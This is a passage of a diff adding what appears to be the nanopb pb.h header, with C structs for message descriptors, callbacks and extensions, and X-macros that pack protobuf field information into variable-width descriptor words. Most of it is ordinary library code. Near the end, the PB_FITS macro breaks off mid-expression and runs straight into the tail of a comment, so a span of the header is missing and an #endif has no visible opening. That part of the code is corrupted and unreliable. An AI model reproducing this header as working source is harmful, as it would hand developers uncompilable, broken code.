PB_LTYPE_IS_SUBMSG(x) (PB_LTYPE(x) == PB_LTYPE_SUBMESSAGE || \ + PB_LTYPE(x) == PB_LTYPE_SUBMSG_W_CB) + +/* Data type used for storing sizes of struct fields + * and array counts. + */ +#if defined(PB_FIELD_32BIT) + typedef uint32_t pb_size_t; + typedef int32_t pb_ssize_t; +#else + typedef uint_least16_t pb_size_t; + typedef int_least16_t pb_ssize_t; +#endif +#define PB_SIZE_MAX ((pb_size_t)-1) + +/* Forward declaration of struct types */ +typedef struct pb_istream_s pb_istream_t; +typedef struct pb_ostream_s pb_ostream_t; +typedef struct pb_field_iter_s pb_field_iter_t; + +/* This structure is used in auto-generated constants + * to specify struct fields. + */ +typedef struct pb_msgdesc_s pb_msgdesc_t; +struct pb_msgdesc_s { + const uint32_t *field_info; + const pb_msgdesc_t * const * submsg_info; + const pb_byte_t *default_value; + + bool (*field_callback)(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_iter_t *field); + + pb_size_t field_count; + pb_size_t required_field_count; + pb_size_t largest_tag; +}; + +/* Iterator for message descriptor */ +struct pb_field_iter_s { + const pb_msgdesc_t *descriptor; /* Pointer to message descriptor constant */ + void *message; /* Pointer to start of the structure */ + + pb_size_t index; /* Index of the field */ + pb_size_t field_info_index; /* Index to descriptor->field_info array */ + pb_size_t required_field_index; /* Index that counts only the required fields */ + pb_size_t submessage_index; /* Index that counts only submessages */ + + pb_size_t tag; /* Tag of current field */ + pb_size_t data_size; /* sizeof() of a single item */ + pb_size_t array_size; /* Number of array entries */ + pb_type_t type; /* Type of current field */ + + void *pField; /* Pointer to current field in struct */ + void *pData; /* Pointer to current data contents. Different than pField for arrays and pointers. */ + void *pSize; /* Pointer to count/has field */ + + const pb_msgdesc_t *submsg_desc; /* For submessage fields, pointer to field descriptor for the submessage. */ +}; + +/* For compatibility with legacy code */ +typedef pb_field_iter_t pb_field_t; + +/* Make sure that the standard integer types are of the expected sizes. + * Otherwise fixed32/fixed64 fields can break. + * + * If you get errors here, it probably means that your stdint.h is not + * correct for your platform. + */ +#ifndef PB_WITHOUT_64BIT +PB_STATIC_ASSERT(sizeof(int64_t) == 2 * sizeof(int32_t), INT64_T_WRONG_SIZE) +PB_STATIC_ASSERT(sizeof(uint64_t) == 2 * sizeof(uint32_t), UINT64_T_WRONG_SIZE) +#endif + +/* This structure is used for 'bytes' arrays. + * It has the number of bytes in the beginning, and after that an array. + * Note that actual structs used will have a different length of bytes array. + */ +#define PB_BYTES_ARRAY_T(n) struct { pb_size_t size; pb_byte_t bytes[n]; } +#define PB_BYTES_ARRAY_T_ALLOCSIZE(n) ((size_t)n + offsetof(pb_bytes_array_t, bytes)) + +struct pb_bytes_array_s { + pb_size_t size; + pb_byte_t bytes[1]; +}; +typedef struct pb_bytes_array_s pb_bytes_array_t; + +/* This structure is used for giving the callback function. + * It is stored in the message structure and filled in by the method that + * calls pb_decode. + * + * The decoding callback will be given a limited-length stream + * If the wire type was string, the length is the length of the string. + * If the wire type was a varint/fixed32/fixed64, the length is the length + * of the actual value. + * The function may be called multiple times (especially for repeated types, + * but also otherwise if the message happens to contain the field multiple + * times.) + * + * The encoding callback will receive the actual output stream. + * It should write all the data in one call, including the field tag and + * wire type. It can write multiple fields. + * + * The callback can be null if you want to skip a field. + */ +typedef struct pb_callback_s pb_callback_t; +struct pb_callback_s { + /* Callback functions receive a pointer to the arg field. + * You can access the value of the field as *arg, and modify it if needed. + */ + union { + bool (*decode)(pb_istream_t *stream, const pb_field_t *field, void **arg); + bool (*encode)(pb_ostream_t *stream, const pb_field_t *field, void * const *arg); + } funcs; + + /* Free arg for use by callback */ + void *arg; +}; + +extern bool pb_default_field_callback(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_t *field); + +/* Wire types. Library user needs these only in encoder callbacks. */ +typedef enum { + PB_WT_VARINT = 0, + PB_WT_64BIT = 1, + PB_WT_STRING = 2, + PB_WT_32BIT = 5, + PB_WT_PACKED = 255 /* PB_WT_PACKED is internal marker for packed arrays. */ +} pb_wire_type_t; + +/* Structure for defining the handling of unknown/extension fields. + * Usually the pb_extension_type_t structure is automatically generated, + * while the pb_extension_t structure is created by the user. However, + * if you want to catch all unknown fields, you can also create a custom + * pb_extension_type_t with your own callback. + */ +typedef struct pb_extension_type_s pb_extension_type_t; +typedef struct pb_extension_s pb_extension_t; +struct pb_extension_type_s { + /* Called for each unknown field in the message. + * If you handle the field, read off all of its data and return true. + * If you do not handle the field, do not read anything and return true. + * If you run into an error, return false. + * Set to NULL for default handler. + */ + bool (*decode)(pb_istream_t *stream, pb_extension_t *extension, + uint32_t tag, pb_wire_type_t wire_type); + + /* Called once after all regular fields have been encoded. + * If you have something to write, do so and return true. + * If you do not have anything to write, just return true. + * If you run into an error, return false. + * Set to NULL for default handler. + */ + bool (*encode)(pb_ostream_t *stream, const pb_extension_t *extension); + + /* Free field for use by the callback. */ + const void *arg; +}; + +struct pb_extension_s { + /* Type describing the extension field. Usually you'll initialize + * this to a pointer to the automatically generated structure. */ + const pb_extension_type_t *type; + + /* Destination for the decoded data. This must match the datatype + * of the extension field. */ + void *dest; + + /* Pointer to the next extension handler, or NULL. + * If this extension does not match a field, the next handler is + * automatically called. */ + pb_extension_t *next; + + /* The decoder sets this to true if the extension was found. + * Ignored for encoding. */ + bool found; +}; + +#define pb_extension_init_zero {NULL,NULL,NULL,false} + +/* Memory allocation functions to use. You can define pb_realloc and + * pb_free to custom functions if you want. */ +#ifdef PB_ENABLE_MALLOC +# ifndef pb_realloc +# define pb_realloc(ptr, size) realloc(ptr, size) +# endif +# ifndef pb_free +# define pb_free(ptr) free(ptr) +# endif +#endif + +/* This is used to inform about need to regenerate .pb.h/.pb.c files. */ +#define PB_PROTO_HEADER_VERSION 40 + +/* These macros are used to declare pb_field_t's in the constant array. */ +/* Size of a structure member, in bytes. */ +#define pb_membersize(st, m) (sizeof ((st*)0)->m) +/* Number of entries in an array. */ +#define pb_arraysize(st, m) (pb_membersize(st, m) / pb_membersize(st, m[0])) +/* Delta from start of one member to the start of another member. */ +#define pb_delta(st, m1, m2) ((int)offsetof(st, m1) - (int)offsetof(st, m2)) + +/* Force expansion of macro value */ +#define PB_EXPAND(x) x + +/* Binding of a message field set into a specific structure */ +#define PB_BIND(msgname, structname, width) \ + const uint32_t structname ## _field_info[] PB_PROGMEM = \ + { \ + msgname ## _FIELDLIST(PB_GEN_FIELD_INFO_ ## width, structname) \ + 0 \ + }; \ + const pb_msgdesc_t* const structname ## _submsg_info[] = \ + { \ + msgname ## _FIELDLIST(PB_GEN_SUBMSG_INFO, structname) \ + NULL \ + }; \ + const pb_msgdesc_t structname ## _msg = \ + { \ + structname ## _field_info, \ + structname ## _submsg_info, \ + msgname ## _DEFAULT, \ + msgname ## _CALLBACK, \ + 0 msgname ## _FIELDLIST(PB_GEN_FIELD_COUNT, structname), \ + 0 msgname ## _FIELDLIST(PB_GEN_REQ_FIELD_COUNT, structname), \ + 0 msgname ## _FIELDLIST(PB_GEN_LARGEST_TAG, structname), \ + }; \ + msgname ## _FIELDLIST(PB_GEN_FIELD_INFO_ASSERT_ ## width, structname) + +#define PB_GEN_FIELD_COUNT(structname, atype, htype, ltype, fieldname, tag) +1 +#define PB_GEN_REQ_FIELD_COUNT(structname, atype, htype, ltype, fieldname, tag) \ + + (PB_HTYPE_ ## htype == PB_HTYPE_REQUIRED) +#define PB_GEN_LARGEST_TAG(structname, atype, htype, ltype, fieldname, tag) \ + * 0 + tag + +/* X-macro for generating the entries in struct_field_info[] array. */ +#define PB_GEN_FIELD_INFO_1(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_1(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_2(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_2(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_4(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_4(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_8(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_8(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_AUTO(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_AUTO2(PB_FIELDINFO_WIDTH_AUTO(_PB_ATYPE_ ## atype, _PB_HTYPE_ ## htype, _PB_LTYPE_ ## ltype), \ + tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_FIELDINFO_AUTO2(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) + +#define PB_FIELDINFO_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_ ## width(tag, type, data_offset, data_size, size_offset, array_size) + +/* X-macro for generating asserts that entries fit in struct_field_info[] array. + * The structure of macros here must match the structure above in PB_GEN_FIELD_INFO_x(), + * but it is not easily reused because of how macro substitutions work. */ +#define PB_GEN_FIELD_INFO_ASSERT_1(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_1(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_2(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_2(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_4(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_4(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_8(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_8(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_AUTO(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_AUTO2(PB_FIELDINFO_WIDTH_AUTO(_PB_ATYPE_ ## atype, _PB_HTYPE_ ## htype, _PB_LTYPE_ ## ltype), \ + tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_FIELDINFO_ASSERT_AUTO2(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_ASSERT_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) + +#define PB_FIELDINFO_ASSERT_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_ASSERT_ ## width(tag, type, data_offset, data_size, size_offset, array_size) + +#define PB_DATA_OFFSET_STATIC(htype, structname, fieldname) PB_DO ## htype(structname, fieldname) +#define PB_DATA_OFFSET_POINTER(htype, structname, fieldname) PB_DO ## htype(structname, fieldname) +#define PB_DATA_OFFSET_CALLBACK(htype, structname, fieldname) PB_DO ## htype(structname, fieldname) +#define PB_DO_PB_HTYPE_REQUIRED(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_SINGULAR(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_ONEOF(structname, fieldname) offsetof(structname, PB_ONEOF_NAME(FULL, fieldname)) +#define PB_DO_PB_HTYPE_OPTIONAL(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_REPEATED(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_FIXARRAY(structname, fieldname) offsetof(structname, fieldname) + +#define PB_SIZE_OFFSET_STATIC(htype, structname, fieldname) PB_SO ## htype(structname, fieldname) +#define PB_SIZE_OFFSET_POINTER(htype, structname, fieldname) PB_SO_PTR ## htype(structname, fieldname) +#define PB_SIZE_OFFSET_CALLBACK(htype, structname, fieldname) PB_SO_CB ## htype(structname, fieldname) +#define PB_SO_PB_HTYPE_REQUIRED(structname, fieldname) 0 +#define PB_SO_PB_HTYPE_SINGULAR(structname, fieldname) 0 +#define PB_SO_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF2(structname, PB_ONEOF_NAME(FULL, fieldname), PB_ONEOF_NAME(UNION, fieldname)) +#define PB_SO_PB_HTYPE_ONEOF2(structname, fullname, unionname) PB_SO_PB_HTYPE_ONEOF3(structname, fullname, unionname) +#define PB_SO_PB_HTYPE_ONEOF3(structname, fullname, unionname) pb_delta(structname, fullname, which_ ## unionname) +#define PB_SO_PB_HTYPE_OPTIONAL(structname, fieldname) pb_delta(structname, fieldname, has_ ## fieldname) +#define PB_SO_PB_HTYPE_REPEATED(structname, fieldname) pb_delta(structname, fieldname, fieldname ## _count) +#define PB_SO_PB_HTYPE_FIXARRAY(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_REQUIRED(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_SINGULAR(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF(structname, fieldname) +#define PB_SO_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_REPEATED(structname, fieldname) PB_SO_PB_HTYPE_REPEATED(structname, fieldname) +#define PB_SO_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_REQUIRED(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_SINGULAR(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF(structname, fieldname) +#define PB_SO_CB_PB_HTYPE_OPTIONAL(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_REPEATED(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_FIXARRAY(structname, fieldname) 0 + +#define PB_ARRAY_SIZE_STATIC(htype, structname, fieldname) PB_AS ## htype(structname, fieldname) +#define PB_ARRAY_SIZE_POINTER(htype, structname, fieldname) PB_AS_PTR ## htype(structname, fieldname) +#define PB_ARRAY_SIZE_CALLBACK(htype, structname, fieldname) 1 +#define PB_AS_PB_HTYPE_REQUIRED(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_SINGULAR(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_OPTIONAL(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_ONEOF(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_REPEATED(structname, fieldname) pb_arraysize(structname, fieldname) +#define PB_AS_PB_HTYPE_FIXARRAY(structname, fieldname) pb_arraysize(structname, fieldname) +#define PB_AS_PTR_PB_HTYPE_REQUIRED(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_SINGULAR(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_ONEOF(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_REPEATED(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) pb_arraysize(structname, fieldname[0]) + +#define PB_DATA_SIZE_STATIC(htype, structname, fieldname) PB_DS ## htype(structname, fieldname) +#define PB_DATA_SIZE_POINTER(htype, structname, fieldname) PB_DS_PTR ## htype(structname, fieldname) +#define PB_DATA_SIZE_CALLBACK(htype, structname, fieldname) PB_DS_CB ## htype(structname, fieldname) +#define PB_DS_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)) +#define PB_DS_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)[0]) +#define PB_DS_PTR_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname[0][0]) +#define PB_DS_CB_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)) +#define PB_DS_CB_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname) + +#define PB_ONEOF_NAME(type, tuple) PB_EXPAND(PB_ONEOF_NAME_ ## type tuple) +#define PB_ONEOF_NAME_UNION(unionname,membername,fullname) unionname +#define PB_ONEOF_NAME_MEMBER(unionname,membername,fullname) membername +#define PB_ONEOF_NAME_FULL(unionname,membername,fullname) fullname + +#define PB_GEN_SUBMSG_INFO(structname, atype, htype, ltype, fieldname, tag) \ + PB_SUBMSG_INFO_ ## htype(_PB_LTYPE_ ## ltype, structname, fieldname) + +#define PB_SUBMSG_INFO_REQUIRED(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_SINGULAR(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_OPTIONAL(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_ONEOF(ltype, structname, fieldname) PB_SUBMSG_INFO_ONEOF2(ltype, structname, PB_ONEOF_NAME(UNION, fieldname), PB_ONEOF_NAME(MEMBER, fieldname)) +#define PB_SUBMSG_INFO_ONEOF2(ltype, structname, unionname, membername) PB_SUBMSG_INFO_ONEOF3(ltype, structname, unionname, membername) +#define PB_SUBMSG_INFO_ONEOF3(ltype, structname, unionname, membername) PB_SI ## ltype(structname ## _ ## unionname ## _ ## membername ## _MSGTYPE) +#define PB_SUBMSG_INFO_REPEATED(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_FIXARRAY(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SI_PB_LTYPE_BOOL(t) +#define PB_SI_PB_LTYPE_BYTES(t) +#define PB_SI_PB_LTYPE_DOUBLE(t) +#define PB_SI_PB_LTYPE_ENUM(t) +#define PB_SI_PB_LTYPE_UENUM(t) +#define PB_SI_PB_LTYPE_FIXED32(t) +#define PB_SI_PB_LTYPE_FIXED64(t) +#define PB_SI_PB_LTYPE_FLOAT(t) +#define PB_SI_PB_LTYPE_INT32(t) +#define PB_SI_PB_LTYPE_INT64(t) +#define PB_SI_PB_LTYPE_MESSAGE(t) PB_SUBMSG_DESCRIPTOR(t) +#define PB_SI_PB_LTYPE_MSG_W_CB(t) PB_SUBMSG_DESCRIPTOR(t) +#define PB_SI_PB_LTYPE_SFIXED32(t) +#define PB_SI_PB_LTYPE_SFIXED64(t) +#define PB_SI_PB_LTYPE_SINT32(t) +#define PB_SI_PB_LTYPE_SINT64(t) +#define PB_SI_PB_LTYPE_STRING(t) +#define PB_SI_PB_LTYPE_UINT32(t) +#define PB_SI_PB_LTYPE_UINT64(t) +#define PB_SI_PB_LTYPE_EXTENSION(t) +#define PB_SI_PB_LTYPE_FIXED_LENGTH_BYTES(t) +#define PB_SUBMSG_DESCRIPTOR(t) &(t ## _msg), + +/* The field descriptors use a variable width format, with width of either + * 1, 2, 4 or 8 of 32-bit words. The two lowest bytes of the first byte always + * encode the descriptor size, 6 lowest bits of field tag number, and 8 bits + * of the field type. + * + * Descriptor size is encoded as 0 = 1 word, 1 = 2 words, 2 = 4 words, 3 = 8 words. + * + * Formats, listed starting with the least significant bit of the first word. + * 1 word: [2-bit len] [6-bit tag] [8-bit type] [8-bit data_offset] [4-bit size_offset] [4-bit data_size] + * + * 2 words: [2-bit len] [6-bit tag] [8-bit type] [12-bit array_size] [4-bit size_offset] + * [16-bit data_offset] [12-bit data_size] [4-bit tag>>6] + * + * 4 words: [2-bit len] [6-bit tag] [8-bit type] [16-bit array_size] + * [8-bit size_offset] [24-bit tag>>6] + * [32-bit data_offset] + * [32-bit data_size] + * + * 8 words: [2-bit len] [6-bit tag] [8-bit type] [16-bit reserved] + * [8-bit size_offset] [24-bit tag>>6] + * [32-bit data_offset] + * [32-bit data_size] + * [32-bit array_size] + * [32-bit reserved] + * [32-bit reserved] + * [32-bit reserved] + */ + +#define PB_FIELDINFO_1(tag, type, data_offset, data_size, size_offset, array_size) \ + (0 | (((tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(data_offset) & 0xFF) << 16) | \ + (((uint32_t)(size_offset) & 0x0F) << 24) | (((uint32_t)(data_size) & 0x0F) << 28)), + +#define PB_FIELDINFO_2(tag, type, data_offset, data_size, size_offset, array_size) \ + (1 | (((tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(array_size) & 0xFFF) << 16) | (((uint32_t)(size_offset) & 0x0F) << 28)), \ + (((uint32_t)(data_offset) & 0xFFFF) | (((uint32_t)(data_size) & 0xFFF) << 16) | (((uint32_t)(tag) & 0x3c0) << 22)), + +#define PB_FIELDINFO_4(tag, type, data_offset, data_size, size_offset, array_size) \ + (2 | (((tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(array_size) & 0xFFFF) << 16)), \ + ((uint32_t)(int_least8_t)(size_offset) | (((uint32_t)(tag) << 2) & 0xFFFFFF00)), \ + (data_offset), (data_size), + +#define PB_FIELDINFO_8(tag, type, data_offset, data_size, size_offset, array_size) \ + (3 | (((tag) << 2) & 0xFF) | ((type) << 8)), \ + ((uint32_t)(int_least8_t)(size_offset) | (((uint32_t)(tag) << 2) & 0xFFFFFF00)), \ + (data_offset), (data_size), (array_size), 0, 0, 0, + +/* These assertions verify that the field information fits in the allocated space. + * The generator tries to automatically determine the correct width that can fit all + * data associated with a message. These asserts will fail only if there has been a + * problem in the automatic logic - this may be worth reporting as a bug. As a workaround, + * you can increase the descriptor width by defining PB_FIELDINFO_WIDTH or by setting + * descriptorsize option in .options file. + */ +#define PB_FITS(value,bits) ((uint32_t)(value) < ((uint32_t)1<2GB messages with nanopb anyway. + */ +#define PB_FIELDINFO_ASSERT_4(tag, type, data_offset, data_size, size_offset, array_size) \ + PB_STATIC_ASSERT(PB_FITS(tag,30) && PB_FITS(data_offset,31) && PB_FITS(size_offset,8) && PB_FITS(data_size,31) && PB_FITS(array_size,16), FIELDINFO_DOES_NOT_FIT_width4_field ## tag) + +#define PB_FIELDINFO_ASSERT_8(tag, type, data_offset, data_size, size_offset, array_size) \ + PB_STATIC_ASSERT(PB_FITS(tag,30) && PB_FITS(data_offset,31) && PB_FITS(size_offset,8) && PB_FITS(data_size,31) && PB_FITS(array_size,31), FIELDINFO_DOES_NOT_FIT_width8_field ## tag) +#endif + + +/* Automatic picking of FIELDINFO width: + * Uses width 1 when possible, otherwise resorts to width 2. + * This is used when PB_BIND() is called with "AUTO" as the argument. + * The generator will give explicit size argument when it knows that a message + * structure grows beyond 1-word format limits. + */ +#define PB_FIELDINFO_WIDTH_AUTO(atype, htype, ltype) PB_FI_WIDTH ## atype(htype, ltype) +#define PB_FI_WIDTH_PB_ATYPE_STATIC(htype, ltype) PB_FI_WIDTH ## htype(ltype) +#define PB_FI_WIDTH_PB_ATYPE_POINTER(htype, ltype) PB_FI_WIDTH ## htype(ltype) +#define PB_FI_WIDTH_PB_ATYPE_CALLBACK(htype, ltype) 2 +#define PB_FI_WIDTH_PB_HTYPE_REQUIRED(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_SINGULAR(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_OPTIONAL(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_ONEOF(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_REPEATED(ltype) 2 +#define PB_FI_WIDTH_PB_HTYPE_FIXARRAY(ltype) 2 +#define PB_FI_WIDTH_PB_LTYPE_BOOL 1 +#define PB_FI_WIDTH_PB_LTYPE_BYTES 2 +#define PB_FI_WIDTH_PB_LTYPE_DOUBLE 1 +#define PB_FI_WIDTH_PB_LTYPE_ENUM 1 +#define PB_FI_WIDTH_PB_LTYPE_UENUM 1 +#define PB_FI_WIDTH_PB_LTYPE_FIXED32 1 +#define PB_FI_WIDTH_PB_LTYPE_FIXED64 1 +#define PB_FI_WIDTH_PB_LTYPE_FLOAT 1 +#define PB_FI_WIDTH_PB_LTYPE_INT32 1 